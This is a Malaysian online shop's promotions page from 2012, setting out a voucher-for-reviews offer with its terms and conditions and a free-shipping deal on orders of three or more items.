We are making it incredibly easy to get 10% OFF YOUR ENTIRE ORDER**.  You can help others find the perfect product for them based on your honest, personal experiences and give yourself a reward too! All you have to do is let the world know that you're a fan of our stuff.  Try a variety of products and write a review on our website www.downtoearth.com.my and EVERY REVIEW that gets approved will get you a VOUCHER CODE that you can use to get 10% OFF YOUR ENTIRE ORDER. Write as many reviews as you can to get multiple voucher codes! But hurry, only reviews submitted to us before 31 Jan 2012 are eligible for this promo!

**TERMS AND CONDITIONS FOR "POST-A-REVIEW" PROMO:

1. Voucher codes issued will expire 31 Dec 2012.

2. Only one voucher code can be used per order so if you are rewarded with, for example, 3 voucher codes for 3 approved reviews, they can be used once each in 3 separate orders.

3. Bundles are not eligible for 10% discount with the voucher codes.

4. Only one review per product per customer will be approved.

5. Currently registered wholesalers and distributors are not eligible for this promo.

6. Only reviews submitted on or before 31 Jan 2012 are eligible.

7. Voucher codes will be sent to your registered email address within the 1st week of Feb 2012 so we suggest using an identifiable name when you submit your review so we can send the voucher code to the right customer!

8. Voucher codes are transferable so you can give them to family and friends to use if you wish.

9. Only approved reviews are eligible for this promo. Down to Earth reserves the right to approve your review at our discretion.

10. Only customers who have genuinely bought and used the product are eligible.

11. Only reviews that will appear on www.downtoearth.com.my are eligible. Blog entries are not considered reviews in this case but you can post a link to your blog on our website as part of your product review to qualify.

12. For questions and clarifications on this promo, please email info@downtoearth.com.my and we'd be more than happy to get back to you soonest.

 

FREE SHIPPING WITHIN MALAYSIA*

Order any 3 items from our website to get FREE SHIPPING anywhere within West Malaysia.  It doesn't matter how much your total is, as long as you have 3 items in your shopping cart by the time you check out (even 3 of the same item is OK!), you will get free shipping by Poslaju. If you order only 1 item, there is an additional RM5 per order. If you order only 2 items, there is an additional RM3 per order. So gather orders from your friends, your sisters, your mother, your cousins... and whoever else you can think of and make sure you get FREE SHIPPING* now! *for orders of 3 items and above, product bundles are considered a SINGLE (1) item at checkout*